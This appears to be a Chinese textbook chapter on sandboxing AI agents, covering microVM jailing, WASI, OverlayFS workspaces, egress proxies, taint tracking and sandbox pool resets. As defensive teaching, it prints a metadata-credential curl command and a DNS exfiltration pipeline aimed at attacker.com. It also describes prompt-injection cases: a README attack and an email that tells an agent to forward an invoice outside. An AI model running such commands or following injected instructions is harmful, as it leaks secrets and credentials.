Firecracker microVM 的纵深防御隔离边界如 图 5 所示。
chroot、cgroups v2 和 seccomp-bpf 过滤(\(\le 35\) 个主机系统调用)。客户机 microVM 在 Intel VT-x VMX 非根模式下执行,其中内存访问通过二维扩展页表进行地址转换(\(GPA \to HPA\)),设备通信被限制在固定的 MMIO 窗口内,文件系统修改则被限制在由 RAM tmpfs 支持的临时 OverlayFS UpperDir 中。
多租户纵深防御:Firecracker Jailer
尽管 Firecracker 使用内存安全的 Rust 编写,并通过受限的 KVM 接口与主机内核交互,但稳健的系统工程仍假定任何软件组件都可能失效。如果攻击者在 virtio 模拟逻辑中发现漏洞,或在 KVM 内核模块本身中发现尚未修补的缺陷,microVM 内的恶意载荷就可能攻陷主机上的 Firecracker VMM 进程。
为消除此提权途径,Firecracker 使用一个称为 Firecracker Jailer 的主机级辅助安全封装程序,实施纵深防御架构。Jailer 二进制程序在启动 microVM 之前以主机管理员权限(root)执行,在执行上下文周围构建严格的四层隔离环境,放弃所有主机权限,并通过 execve(2) 执行 Firecracker VMM 进程,遵循 表 4 中的多阶段权限降级顺序。
| 流水线阶段 | 目标子系统 | 内核原语与系统调用 | 执行上下文 | 建立的封闭性不变量 |
|---|---|---|---|---|
| 1. Root 引导 | 主机进程 | clone()、PID 分配 |
具有特权的主机 Root(UID=0, GID=0) |
分配每个实例的元数据和工作目录。 |
| 2. 命名空间隔离 | Linux 命名空间 | unshare(CLONE_NEWNS + CLONE_NEWPID + CLONE_NEWNET + CLONE_NEWIPC) |
隔离的命名空间边界 | 隔离 VFS 挂载、PID 层次结构、网络路由和 IPC 队列。 |
| 3. 文件系统 Chroot | VFS 挂载 | mount(--bind)、chroot(jail_dir)、chdir("/") |
受限的根目录 | 移除对主机根目录的访问权限;仅暴露内核二进制文件和套接字。 |
| 4. Cgroup 配额 | cgroups v2 |
写入 cpu.max、memory.max、pids.max = 2 + N_vcpus |
资源受限的切片 | 限制 CPU 消耗,对 RAM 设置硬上限,并阻止 fork 炸弹。 |
| 5. 权限降级 | 身份凭据 | setresgid(jail_gid)、setresuid(jail_uid)、capng_clear() |
无特权上下文(UID > 10000) |
清除所有环境 POSIX 能力(CAP_SYS_ADMIN 等)。 |
| 6. 系统调用锁定 | seccomp-bpf |
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...) |
加固的内核边界 | 强制实施默认拒绝的允许列表,包含约 35 个系统调用;违规时执行 SIGSYS。 |
| 7. 进程替换 | 执行映像 | execve("/usr/bin/firecracker", argv, envp) |
完全受 Jailer 隔离的 MicroVM VMM | 运行 VMM,使其对主机文件系统或网络不具备任何环境权限。 |
字节码沙箱与能力中介
字节码沙箱(如 WebAssembly (Haas 等 2017年))将代码限制在有界线性内存中,运行时会在执行之前验证该内存,而且代码完全不包含系统调用指令。线性内存被分配为连续、无别名的字节数组,在 Wasm32 中最大可达 4 GB。每条加载和存储指令都使用相对于该基址指针、从零开始的无符号 32 位偏移量。在编译或提前(AOT)转换期间,WebAssembly 引擎会为每次内存解引用插入硬件或软件边界检查,或者在这块 4 GB 内存分配区域的两侧设置未映射的虚拟内存保护页。客户代码一旦尝试解引用越界指针,就会立即触发硬件 SIGSEGV,并由宿主运行时捕获,在外部内存被查看或破坏之前中止执行。
为了与外部世界交互,WebAssembly 模块依赖 WebAssembly 系统接口(WASI)。WASI 通过纯粹基于能力的安全模型对宿主导入进行标准化,在模块边界强制实施零隐式权限。宿主打开特定的目录句柄,并在实例化期间将其注入模块的文件描述符表。客户模块无法访问这些能力句柄范围之外的任何文件系统路径,这一点已在 表 5 中得到验证。
| 调用步骤 | 客户模块调用 | 宿主运行时验证检查 | 宿主内核操作 | 返回给客户模块的值 |
|---|---|---|---|---|
| 1. 授权文件访问 | path_open(dir_fd=3, path="data.json") |
验证 dir_fd=3 是已打开的目录句柄;检查规范化路径是否仍位于 dir_fd 的根目录范围内。 |
在宿主内核中创建具有范围限制的子文件描述符。 | Ok(file_fd=4)(不可伪造的句柄) |
| 2. 目录遍历逃逸尝试 | path_open(dir_fd=3, path="../../etc/shadow") |
相对于目录根解析路径;检测逃出沙箱根目录的尝试。 | 阻止宿主 VFS 调用;记录能力违规事件。 | Err(WASI_ERRNO_NOTCAPABLE) |
# Host WASI Complete Mediation Trap
[2026-09-19T10:18:04.210Z] WARN wasm_runtime: Module invoked fd_readdir(fd=3, cookie=0) -> OK
[2026-09-19T10:18:04.214Z] ERROR wasm_runtime: Module invoked path_open(fd=3, path="../../etc/shadow", flags=0)
[2026-09-19T10:18:04.215Z] SECURITY_FAULT wasm_runtime: Path traversal escape detected; trapped with WASI_ERRNO_NOTCAPABLE使隔离边界与操作相匹配
表 6 概述了四种隔离边界。当前实现中具有代表性的启动时间和内存占用测量结果见 典型隔离封装成本;决定选择的是这些指标的数量级。
| 隔离边界 | 不可信代码与宿主共享的内容 | 可运行的代码 | 启动开销 | 适用场景 |
|---|---|---|---|---|
| 共享内核容器 | 经过过滤的完整宿主内核接口 | 任意 Linux 用户空间程序 | 不到一秒 | 可信代码;无法访问任何秘密信息的只读任务 |
| 用户空间内核 | 通过仿真内核访问的一小组宿主调用 | 大多数 Linux 程序,但系统调用密集型任务运行较慢 | 不到一秒 | 输入和输出规模适中的不可信解释型代码 |
| 微型虚拟机 | 最小化的监控程序和虚拟机管理程序接口 | 使用独立内核运行的任意 Linux 程序 | 从快照启动需毫秒级时间 | 不可信原生代码、软件包安装、多轮编码 |
| 字节码沙箱 | 仅宿主导入的函数 | 编译为目标字节码的代码 | 微秒级 | 纯计算、解析器、按调用执行的工具 |
这一选择取决于动作的三个属性。第一是它运行的代码。纯计算适合字节码沙箱,任意 Linux 程序需要用户态内核或 microVM,而共享内核容器只适合承载受信任的代码。第二是它持有的权限。在 \(A_1\),隔离边界构成全部保障,因此模型编写的代码需要独立的内核;而在 \(A_2\) 和 \(A_3\),隔离边界必须与中介机制和关卡配合使用,因为它无法约束外部效应。第三是持续时间,即暴露时长在此处的作用。在本章采用的示例编码智能体沙箱配置中,从快照恢复一个 microVM 大约需要 15 ms,相当于 5× 一次耗时 3 ms 的正则表达式调用所需的工作量,却仅占 0.0006 percent,所对应的是一条持续 40 分钟、在数百轮交互中复用同一隔离边界的编码轨迹。因此,本节开头的三种工作负载分别适合三种方案。正则表达式工具每次调用都在新建的字节码沙箱中运行,编码智能体在整条轨迹中持有一个 microVM,而客户提供的二进制程序则在一个不持有任何凭证且禁止出站访问的 microVM 中运行。
隔离边界限定了进程能够访问的范围。然而,编码智能体的工作保存在文件中,这些文件必须在相邻轮次之间持续保留,而隔离边界本身并不说明这些文件来自何处、又将去往何处。
智能体工作区
在第十二轮,编码智能体编辑三个文件;在第三十一轮,它运行测试套件;在第四十轮,运行框架收集它的改动。如果每次工具调用都在新建的沙箱中运行,轮次之间的编辑结果就会丢失。如果让轨迹在开发者自己的检出目录中运行,一次意外的 rm -rf 就可能破坏其他轨迹和人员赖以工作的基准状态。为每条轨迹复制代码仓库和工具链可以同时保全编辑结果与基准状态,但每条轨迹都要搬运数 GB 的数据,而并行轨迹又会使这些数据量按轨迹数量成倍增长。按照 \(S_2\) 状态这一分类,工作区属于任务的此类状态;这一术语来自 H·S·A 暴露面,指在运行时可丢弃的沙箱内跨轮次保留的产物,因此它需要一种比上述三种方案成本都更低的构建方式。
写时复制的覆盖层提供了这种方式。一个只读基础镜像保存固定提交版本的代码仓库及其工具链和已安装的依赖项,由执行该任务的所有轨迹共享。每条轨迹都有自己的可写上层,叠加在基础镜像之上。读取操作会向下查找基础镜像,因此无论有多少条轨迹读取未修改的文件,这些文件都由宿主页缓存中的同一份副本提供。首次写入文件时,系统会将其复制到上层;删除文件时,则在上层记录一个标记,用于隐藏基础镜像中的文件。因此,启动工作区只需付出挂载的成本,无须复制;轨迹结束时,上层恰好保存了该轨迹所做的改动,也就是它产生的差异。
写时复制有一个值得提前防范的陷阱。复制以文件为粒度,因此向一个大型二进制测试样本文件追加一行内容,就会将整个文件复制到上层;许多轨迹同时执行这种操作时,会耗尽宿主机的存储带宽。将大型测试样本文件设为只读、将大型数据保存在镜像之外,或对数据密集型任务使用块级快照,可以避免写入一行内容却付出复制一 GB 数据的成本。笔记本 0.1 估算了这三种情况在一台评估宿主机上的成本。
粗略估算 0.1: 启动并行工作区与向上复制陷阱
完整复制。 每条轨迹在第一轮开始前都会复制镜像,总计 76.8 GB,这使磁盘在任何智能体开始运行前至少忙碌 11 s,并在页缓存中保留 32 份冗余副本。
叠加。 启动工作区只需执行一次挂载,只有轨迹写入的内容才会落盘;整个运行过程共写入 1.28 GB,约占用 0.18 s 的磁盘时间,写入字节数是完整复制方案的 1/60。
向上复制陷阱。 如果测试脚本向测试夹具追加一行内容,每条轨迹都会将整个夹具复制到自己的上层。它们合计写入 38.4 GB,仅一行写入就造成至少 5.5 s 的停顿。
系统洞见:叠加机制使启动工作区的成本几乎为零,并使其成本取决于智能体修改的内容,而非它能够看到的内容。它的一个失效模式所带来的开销随智能体触及的文件大小而增长,因此,大型测试夹具应放在可写路径之外。
分层虚拟文件系统拓扑与向上复制机制
现代 Linux 执行沙箱主要通过 OverlayFS 实现写时复制的存储隔离。OverlayFS 是一种内核联合文件系统,已集成到上游 Linux 虚拟文件系统(VFS)中。它将两个或更多目录树合并为呈现给用户空间的统一命名空间:
lowerdir: 一个或多个只读底层目录,包含基础操作系统 rootfs、语言运行时以及基准 Git 仓库检出内容。upperdir: 一个私有可写目录,用于记录所有文件修改、创建和删除标记。workdir: 一个与upperdir位于同一文件系统上的空辅助目录,供内核准备原子目录操作和文件操作。merged: 呈现给沙箱内智能体进程的虚拟挂载点。
# Establishing a copy-on-write workspace for an agent sandbox
mount -t overlay overlay -o lowerdir=/images/golden_repo,upperdir=/sandboxes/agent_42/upper,workdir=/sandboxes/agent_42/work /sandboxes/agent_42/merged虚拟文件系统的层次结构和各组件的职责详见 表 7。
| 层标识符 | 挂载参数 | POSIX 访问权限 | 底层存储 | 内核 inode 中介职责 |
|---|---|---|---|---|
| 合并视图 | merged 挂载点 |
读写 | 合成的 VFS 联合视图 | 向沙箱中的智能体呈现统一的文件系统树。以惰性方式在上层与下层之间协调路径遍历。 |
| 上层暂存存储器 | upperdir |
读写 | 临时宿主存储 | 保存所有新建文件、通过 ovl_copy_up 向上复制的已修改文件、目录结构,以及 0/0 字符设备白化标记。 |
| 暂存工作目录 | workdir |
读写(内部) | 与 upperdir 相同的文件系统 |
内核用其暂存中间文件写入和原子重命名操作,防止不完整写入破坏工作区。 |
| 下层基线 | lowerdir |
只读 | 不可变的基准镜像 | 包含原始源代码、编译器和工具链的共享基础文件系统。所有并发沙箱均以只读方式共享该文件系统。 |
当智能体执行 open(path, O_RDONLY) 时,VFS 首先通过 upperdir 解析路径;若路径不存在,则回退到 lowerdir,以原生文件系统速度提供读取访问,无需复制。然而,当智能体以写入意图打开下层中已有的文件(O_WRONLY 或 O_RDWR)时,OverlayFS 会启动同步的向上复制操作:内核在 upperdir 中分配一个新 inode,将整个文件的内容从 lowerdir 复制到 upperdir,复制扩展属性,并将文件描述符重定向到新创建的副本,以此管理 表 8 中汇总的 POSIX 操作。
| POSIX 操作 | lowerdir 中的状态 |
upperdir 中的初始状态 |
内核采取的操作 | merged 中的可见状态 |
|---|---|---|---|---|
读取文件(O_RDONLY) |
存在 | 不存在 | 直接读取下层 inode;零复制 | 来自 lowerdir 的文件内容 |
修改文件(O_RDWR) |
存在 | 不存在 | 触发 ovl_copy_up;将整个文件复制到 upperdir |
upperdir 中的可修改文件 |
创建文件(O_CREAT) |
不存在 | 不存在 | 直接在 upperdir 中分配新 inode |
新创建的上层文件 |
删除文件(unlink) |
存在 | 不存在 | 创建 0/0 字符设备白化标记,并将其置于 upperdir 中 |
文件不存在(-ENOENT) |
删除文件(unlink) |
存在 | 存在(已向上复制) | 解除上层文件的链接;替换为 0/0 白化标记 |
文件不存在(-ENOENT) |
清空目录(rmdir) |
目录存在 | 不存在 | 在 upperdir 中创建带有不透明扩展属性的目录 |
空目录(.、..) |
为处理删除操作而不修改不可变基线,OverlayFS 会创建特殊的白化标记。当智能体运行 rm tests/test_cases.py 时,内核会在 upperdir 中创建一个字符设备,其主设备号和次设备号均设为零:
\[\text{dev\_t} = \text{makedev}(0, 0)\]
后续路径查找遇到 0/0 字符设备时,会屏蔽下层文件并返回 -ENOENT。
向上复制的写放大陷阱
向上复制机制会引入一个隐蔽却严重的性能陷阱:大型测试数据文件的写放大。如果编码智能体追加单个字节到一个 5 GB 的 SQLite 数据库、机器学习模型权重文件或二进制测试数据文件,而该文件位于 lowerdir 中,OverlayFS 必须先将全部 5 GB 数据复制到 upperdir,然后才能执行这次 1 字节追加操作:
# Triggering a 5 GB copy-up by appending a timestamp to a test fixture
echo "TEST_EPOCH=1719200000" >> tests/fixtures/test_suite.bin这种向上复制操作会锁定文件的目录项(dentry),耗尽存储带宽,并可能使智能体执行停滞数十秒。系统设计者通过将大型测试夹具拆分为分块资源,或将大型只读测试夹具挂载到专用的只读回环设备上以绕过叠加层,来缓解这一问题。
暂存存储器配额强制执行
为防止通过耗尽磁盘空间实施拒绝服务(例如,不受约束的模型陷入无限输出循环),运行时对 upperdir 强制实施严格的存储配额,具体方式是使用 XFS 项目配额,或为 upperdir 配置大小受限的 tmpfs 作为后端存储:
# Assigning a 2 GB storage quota to an agent's upper scratchpad directory
xfs_quota -x -c 'project -s -p /sandboxes/agent_42/upper 42' /sandboxes
xfs_quota -x -c 'limit -p bsoft=2g bhard=2g 42' /sandboxes每条轨迹独享工作区租约,按租户重置
工作区的生命周期由执行跨度所带来的暴露决定。运行时将工作区、隔离封套、出口身份和经代理获取的凭据绑定为一个作用域限定于轨迹的工作区租约。与 幂等动作执行 中防止单次调用重复执行的在途租约不同,工作区租约拥有整个轨迹使用的环境。租约中的所有内容都会跨轮次保留,因为多轮智能体需要先前的编辑结果和已预热的构建缓存;轨迹结束时,所有内容也随之终止。租约设有硬性到期时间,确保被放弃的轨迹无法无限期占用沙箱,而持有该租约的轨迹记录归运行框架所有(轨迹记录)。租约结束时,运行时将上层导出为差异,以供评估或审批,然后将其丢弃。工作区中的任何内容都不会移交给另一条轨迹或另一个租户。哪些内容必须在运行框架本身崩溃后保留下来,而非仅需处理租约的正常结束,是 持久执行 的主题。
另外三条规则确保工作区可以安全地交给模型编写的代码使用。上层位于设有存储容量和文件数量配额的文件系统上,因此失控的构建或蓄意填满磁盘的循环只会耗尽自身的配额。出于同样的原因,隔离封套的控制组限制了 CPU、内存和进程数量。测试夹具和评分脚本从可写层之外以只读方式挂载,因此智能体可以运行其验证程序,却无法编辑它;这构成了 封闭隔离评估训练场 中建立的封闭评估在工作区侧的保障。
工作区限定了代码能够修改的内容。然而,README 攻击只需要发送某些内容,而发送是通过网络完成的。
出口控制
再次考察 README 攻击,此时已采用凭据代理机制,因此沙箱内不存在凭据文件。注入的命令仍然可以将仓库源代码发送到攻击者的端点。在云主机上,它还可能造成更严重的后果。向链路本地地址上的实例元数据端点发起请求,会向任何本地调用方返回主机自身云角色的临时凭据;这种服务端请求伪造将沙箱的网络访问能力转化为主机的身份权限。出口控制收窄了威胁模型的第三个条件,即对外通道。
设计以不具备任何环境默认可达性为起点。新建沙箱没有默认路由。其唯一的对外路径通向运行时控制的出口代理,而沙箱虚拟网络接口上的数据包过滤器在主机内核中强制执行这一路径约束。过滤器丢弃发往链路本地元数据地址范围、私有地址范围和环回地址的流量,丢弃直接连接原始 IP 地址的连接,并且仅转发发往代理的流量。随后,代理针对每个请求判断指定的目标是否被允许访问。图 6 展示了这条路径。
代理可以在两个深度上执行允许列表检查,表 9 对二者进行了比较。根据 TLS 握手中的服务器名称进行过滤,成本较低,并能保持客户端的证书检查机制不变;但一旦与获准主机建立连接,代理就无法看到连接上传输的内容。在代理处终止 TLS,可以暴露请求方法、路径和请求体,代价是必须在沙箱中安装运行时拥有的证书颁发机构,并导致采用证书固定机制的工具无法正常工作。
| 属性 | 服务器名称过滤 | 在代理处终止 TLS |
|---|---|---|
| 代理可见的内容 | 仅目标主机名 | 方法、路径、请求头和请求体 |
| 沙箱中的信任库 | 无需修改 | 必须信任运行时拥有的证书颁发机构 |
| 代理开销 | 检查握手,然后转发字节 | 对每个请求进行解密和重新加密 |
| 通过获准主机泄露信息 | 可能发生,例如通过请求体泄露 | 可通过方法和路径规则以及请求体扫描加以阻止 |
| 工具兼容性 | 高,包括采用证书固定机制的客户端 | 较低,因为采用证书固定机制的客户端会拒绝代理 |
这一区别很重要,因为获准访问的主机仍然是一条通道。获准访问公共代码托管站点的轨迹,可以像克隆仓库一样轻松地将秘密信息发布到公开 gist 中。凭据代理机制进一步收窄了这条通道,因为代理只会为能力授权所涵盖的方法和资源附加凭据。它可以允许从软件包注册表读取内容,并仅允许推送到轨迹自身的分支;这样,未经身份验证而上传到任意 gist 的操作就会在远端失败。
默认拒绝原语与 SSRF 遏制
默认情况下,智能体沙箱的网络接口必须丢弃所有出站数据包。默认拒绝过滤所缓解的最关键威胁途径,是针对云元数据服务的服务端请求伪造(SSRF)。云虚拟机在链路本地 IPv4 地址 169.254.169.254(或 IPv6 地址 [fd00:ec2::254])上提供实例元数据和临时 IAM 凭据。如果智能体拥有不受约束的网络访问权限,通过提示注入植入的脚本就可以查询实例元数据端点,并外传主机监管程序的凭据:
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/HostRole主机数据包过滤器(使用 nftables 或 iptables)必须无条件丢弃所有发往 169.254.169.254 以及 RFC 1918 私有 IPv4 子网(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)的流量,防止向内部集群基础设施横向移动。
透明正向代理与凭证注入
当智能体确实需要访问外部网络时(例如,从 PyPI 下载语言包或查询 GitHub 仓库),沙箱会将 HTTP/HTTPS 流量路由至充当中介的正向代理:
export HTTP_PROXY="http://10.0.0.1:8080"
export HTTPS_PROXY="http://10.0.0.1:8080"
export NO_PROXY="localhost,127.0.0.1"宿主机代理守护进程依据明确的域名允许列表验证目标地址。此外,代理支持凭据注入:代理不会将敏感 API 令牌(例如 GitHub 个人访问令牌)放入沙箱文件系统或环境变量中,而是拦截出站请求,并在宿主机用户空间中注入 Authorization: Bearer <token> 标头。沙箱中的代码始终不会持有其所使用的秘密凭据。
隐蔽 DNS 通道与数据外泄机制
当 HTTP 和 TCP 出站流量被阻止时,攻击者可以利用递归 DNS 解析作为隐蔽的数据外泄通道。由于标准操作系统网络栈需要使用 UDP 端口 53 进行主机名解析,恶意脚本可以将机密文件(例如环境变量或私钥)编码为 base32 或十六进制字符串,并针对攻击者控制的顶级域名下的子域名发起 DNS 查询:
$ cat /workspace/api_keys.env | base32 | tr -d '\n' | fold -w 50 | \
while read chunk; do dig +short "${chunk}.exfil.attacker.com"; done递归 DNS 解析器通过公共互联网,将查询转发至 attacker.com 的权威名称服务器;该服务器记录查询载荷,并重新组装出被窃取的秘密信息。
要阻断通过 DNS 窃取数据,沙箱必须禁止任意向外建立的 UDP 53 端口连接。所有 DNS 流量都必须经过一个专用的本地缓存解析器,该解析器强制执行以下规则:
- FQDN 允许列表:仅解析经过明确预先批准的域名。
- 分视图查询丢弃:在发送数据包之前,丢弃所有针对不在允许列表中的顶级域名的查询。
- 查询长度和熵上限:对长度超过 64 个字符,或呈现出编码数据所特有的高香农熵的查询进行拦截并发出警报。
跟踪不可信数据
一个客服智能体读取客户的收件箱,并且可以发送回复,也就是说,它具有读取权限和一个 \(A_2\) 工具。一封收到的邮件在结尾要求将最近一张发票转发至一个外部审计邮箱地址。到目前为止介绍的所有机制都会批准由此产生的调用。send_email 已获授予,邮件 API 位于出站流量允许列表中,代理持有邮件凭据,而隔离边界从未检测到发票离开,因为发票是作为工具参数离开的。数据窃取通道就是工具本身。
数据流跟踪,也称为污点跟踪,通过追踪值的来源而非数据包的去向来弥补这一缺口。这一思想源于操作系统和编程语言中的信息流控制 (Myers 和 Liskov 1997年; Krohn 等 2007年)。运行时利用 编排下一次调用 为每条观测附加的来源标签,为每个值附加一个记录其来源的标签;从带标签的值派生出的值会继承该标签。策略在工具边界处执行。带有不可信标签的值不得流入会引导某种操作跨越信任边界的参数,例如收件人地址、URL、目标主机或 shell 命令,除非 审批关卡 的审批关卡批准了该值。
如果以朴素方式应用这种跟踪,模型就会使其失效。模型输出的每个 token 都依赖于其完整上下文,因此,一旦不可信文本进入上下文,下一项提议唯一可靠的标签就是不可信。获取第一个网页之后,后续每次调用的每个参数都会带有污点,而要求对带污点参数进行审批的策略,就会要求对一切进行审批。
隔离读取器模式通过让不可信文本远离选择动作的模型,恢复跟踪的精确性。规划模型只能看到用户请求和可信上下文,并输出一个计划,其中不可信内容仅以 $message_body 或 $invoice_date 等不透明引用的形式出现。另一个不持有任何工具的读取模型负责处理不可信内容,并返回与这些引用绑定的值;理想情况下,这些值采用受限的结构化类型(布尔值、枚举值、日期),由 文法引导解码 的语法约束解码强制保证。运行时执行计划,将读取器返回的值代入工具参数,并逐个参数应用污点策略,因为此时每个代入的值都带有自己的标签。植入邮件中的指令可以改变读取器提取的内容,但无法改变计划;策略则决定带污点的值是否可以进入收件人字段。
这种模式确实有代价。规划器无法根据它从未见过的内容选择分支,因此,计划必须能够在读取不可信文本之前表达出来。每个步骤都需要两次模型调用。读取器仍可能被诱导返回一个符合其类型但内容错误的值,这也是带污点的收件人仍需经过审批,而不能直接用于发送的原因。这种模式改变的是执行约束的位置。运行时不再依赖模型忽略植入的指令——这只能降低此类指令的成功率——而是在发出调用之前检查显式的数据流,这正是不变量闭包原则(不变闭包原则)的要求。在故障发生之后,利用污点隔离其影响是一种恢复技术,影响范围隔离 将进一步讨论这一技术。
本章中的每种机制,都必须在第一轮交互之前付出成本。隔离环境必须启动,覆盖层必须挂载,网络命名空间和代理路由必须配置就绪,凭据也必须签发。如果不能隐藏这些成本,运维人员就可能为了省事而跳过隔离边界。
沙箱池与重置
一次评估运行会同时启动五百条编程轨迹,每条轨迹都需要一个具有全新工作区、网络命名空间和限定作用域凭据的 microVM。如果每个隔离环境都按需启动,启动过程就会在宿主机上串行执行,导致该次运行中一半轨迹的首次工具调用排在其他轨迹之后等待。强化学习在更大规模上也有同样的需求:数千次短轨迹采样,每次都需要一个干净的环境。预热池配合严格的重置约定,使运行时能够保留最强的隔离环境,同时避免在关键路径上承担其启动成本。
延迟—隔离前沿
设计的两个极端界定了可选范围。为每次工具调用创建全新的封装环境,能够提供最严格的环境洁净性,因为任何调用都不会与其他调用共享可变状态;但每次调用都要付出完整的启动成本,并且会在轮次之间丢弃工作空间。在一个会话内或跨会话复用的持久环境,无须付出启动成本,但所有东西都会在其中累积:先前轮次留下的后台进程、临时目录中的文件、打开的套接字,以及注入指令设法植入的任何入侵痕迹。环境池介于这两个极端之间。运行时维护一组已完成初始化、随时待用的封装环境,为每条轨迹租出一个,并在该轨迹的整个生命周期内维持租约(节 5.2);租约结束时,则通过回滚将封装环境恢复到已知状态,或将其销毁。
WARM_STANDBY 状态下等待,其虚拟 CPU 已暂停,内存从基准快照映射而来,且未连接网络。收到租约请求后,通过挂载轨迹的上层文件系统、连接其网络命名空间并恢复执行,封装环境可在数毫秒内转入 LEASED 状态。当轨迹结束或租约到期时,封装环境进入 TAINTED 状态,不得再承接其他租约。RECLAIMING 状态会丢弃上层文件系统,将私有内存页还原为快照中的页面,并审计结果;干净的封装环境返回待命状态,任何处理失败的封装环境则转入 DESTROYED 状态。
图 7 展示了一个封装环境在池中的流转过程。最关键的状态是 TAINTED:其规则是,租约已结束的封装环境,必须先由客户机之外的机制恢复到已知状态,才能承接下一份租约。
从快照恢复
让大量已完全启动的客户机闲置待命,需要为每个客户机承担完整的内存开销。快照恢复避免了这一点。运行时先启动一个基准客户机,使其进入就绪状态:内核已运行、解释器已启动、任务依赖已加载,然后保存其内存和设备状态。新的封装环境以写时复制方式映射已保存的内存,并在客户机访问页面时按需加载,因此闲置封装环境的开销仅比页表和虚拟机监控器状态略高。客户机均不写入的页面,例如内核代码、共享库和已加载的字节码,在整个池的宿主机内存中仅保留一份;只有轨迹写入的页面才会成为该轨迹的私有页面。在本章用于说明的编码智能体沙箱配置中,从热池获取一个封装环境需要 5 毫秒,从快照恢复一个全新的封装环境需要 15 毫秒,完整的客户机镜像占用 0.537 GB。
通过 userfaultfd 按需分页重建快照状态
从内存快照重建实例状态,可以省去整个内核启动过程。监管程序无须分配新的物理内存并经由宿主机内存总线复制数 GB 的状态,而是初始化一个新的 KVM 虚拟机上下文,并使用 Linux mmap 系统调用,以私有、写时复制语义映射序列化的快照文件:
\[\text{HVA} = \text{mmap}\left(\text{NULL}, M_{\text{guest}}, \text{PROT\_READ} \mid \text{PROT\_WRITE}, \text{MAP\_PRIVATE}, \text{fd}_{\text{snapshot}}, 0\right)\]
采用 MAP_PRIVATE 时,宿主机操作系统内核不会在初始化期间将物理内存页复制到新进程的地址空间中,而是创建引用基准模板快照的只读文件缓存页的页表项。对于所有只读操作,多个并发沙箱共享完全相同的底层物理 RAM 页面,包括内核代码、共享库和 Python 字节码。
对于分布式或网络支持的快照,Linux 的 userfaultfd(UFFD)机制支持惰性、按需的页面加载。当客户机 vCPU 尝试在未映射的客户机物理页上执行代码或读取内存时,EPT 违规会触发陷入宿主机内核。宿主机内核暂停 vCPU 线程,并通过 userfaultfd 文件描述符向用户空间的页面提供守护进程发送缺页通知。该守护进程通过网络或从本地 NVMe 存储获取 4 KB 页面,使用 ioctl(uffd, UFFDIO_COPY) 注册该页面,然后恢复 vCPU 执行,整个过程遵循 表 10 中所示的生命周期。
| 页面分类 | 内存驻留位置 | 宿主机页表项(PTE) | 客户机访问触发条件 | 内核处理与复制机制 |
|---|---|---|---|---|
| 尚未访问的快照页 | 后备 NVMe 镜像文件 | PTE_PRESENT = 0(未映射) |
客户机取指或读取 | 宿主机 MMU 触发陷入;通过 userfaultfd 描述符传递缺页消息。 |
| 处理中的调页请求 | 宿主机管理程序的内存缓冲区 | 已暂停的 vCPU 线程 | 异步页面获取 | 管理程序调用 ioctl(uffd, UFFDIO_COPY, ...) 填充宿主机物理页框。 |
| 共享只读页 | 宿主机页缓存(黄金模板) | PTE_PRESENT = 1、PROT_READ |
客户机后续的读取访问 | 直接从宿主机 DRAM 读取,无需复制;由 \(N\) 个 microVM 共享。 |
| 写时复制的私有脏页 | 私有宿主机 DRAM 页框 | PTE_PRESENT = 1、PROT_WRITE |
客户机写入意图(store、栈/堆) |
宿主机 MMU 触发写入缺页异常;透明地将 4 KiB 页框复制到私有 DRAM 中。 |
重置契约
租约结束时,一个颇具诱惑力的捷径是就地清理隔离封装:终止智能体的进程、删除临时文件,然后将其恢复为待命状态。这条捷径之所以行不通,是因为通用客户机中隐藏状态的位置远比清理脚本检查的位置多。通过两次 fork 脱离原进程、并将状态存入共享内存的守护进程会在进程终止操作后存活下来。抽象套接字无需在磁盘上留下任何文件,也能保持绑定。令牌仍留在内核密钥环中,cron 条目等待下一位租户,而被攻击者修改的 git 或 pytest 则留在搜索路径上。下一位租户的轨迹会继承这一切,从而将一次注入转变为跨租户入侵。
重置的不对称性 证明环境干净,需要检查所有可能隐藏状态的位置。证明环境不干净,只需找到一处残留。因此,不依赖检查的重置方式比任何清理流程都更可靠。
模型下层的隔离约束(原则 10)也适用于重置。运行时通过两种方式之一将隔离封装重新投入服务;两种方式都从客户机外部驱动,也都不依赖于查明租户留下了什么。它可以销毁隔离封装,并从快照恢复一个替代实例;也可以回滚现有隔离封装:丢弃上层,释放所有私有内存页,使读取重新穿透至快照,并重置虚拟 CPU 状态。无论采用哪种方式,恢复待命的隔离封装都通过构造保证与黄金快照一致,而非通过检查来确认。
| 重置维度 | OverlayFS 目录回收 | 块级快照(dm-thin / Btrfs) |
预热 microVM 回滚(madvise) |
|---|---|---|---|
| 销毁原语 | umount + 异步目录解除链接(rm -rf) |
快照空间释放 + 精简设备丢弃 | madvise(MADV_DONTNEED) + vCPU 寄存器重置 |
| 算法复杂度 | \(\mathcal{O}(k_{\text{inodes}})\) 目录树遍历 | \(\mathcal{O}(1)\) B 树叶节点指针释放 | \(\mathcal{O}(1)\) VMA 页表清零 |
| 重置延迟(\(T_{\text{reset}}\)) | \(1\text{--}5\text{ ms}\)(异步)/ \(200\text{--}800\text{ ms}\)(同步) | \(< 5\text{ ms}\) | \(< 2\text{ ms}\) |
| 页缓存共享 | 所有沙箱共享统一的宿主机页缓存 | 仅在公共块树内去重 | 共享模板页缓存;私有的写时复制脏页 |
| 宿主机写放大 | 与修改的文件大小成正比 | 块级粒度(通常为 64 KiB 块) | 页级粒度(4 KiB 或 2 MiB 大页) |
| 故障模式 | 宿主机 XFS 上的 inode 耗尽或锁争用 | 泄漏导致块池分配空间耗尽 | 脏页刷写导致宿主机内存停滞时,内核可能锁死 |
如 表 11 中的比较所示,销毁临时暂存存储器可确定性地获得干净状态,避免就地清理造成的残留泄漏。
跨租户污染故障轨迹
就地清理工作区——通过删除已修改的文件并终止已知 PID,尝试清理现有容器或进程环境——总会导致状态跨租户边界泄漏。代码 2 展示了一条生产环境中的故障轨迹,其中就地清理使后台守护进程、抽象 UNIX 域套接字和内核密钥环条目得以持续存在:
# Failure trace: Cross-tenant contamination via incomplete in-place scrubbing
[2026-09-19T11:02:14.102Z] AUDIT host_scrubber: Workspace scrubbed; scanning for lingering state...
[2026-09-19T11:02:14.105Z] INVARIANT VIOLATION: Daemon survived via double-fork into root namespace (PID 14209)
[2026-09-19T11:02:14.106Z] INVARIANT VIOLATION: Abstract unix domain socket remains bound (@agent-backdoor)
[2026-09-19T11:02:14.108Z] INVARIANT VIOLATION: Leaked credential in Linux kernel keyring (key_id=0x38fa21b)突发流量下的池容量规划
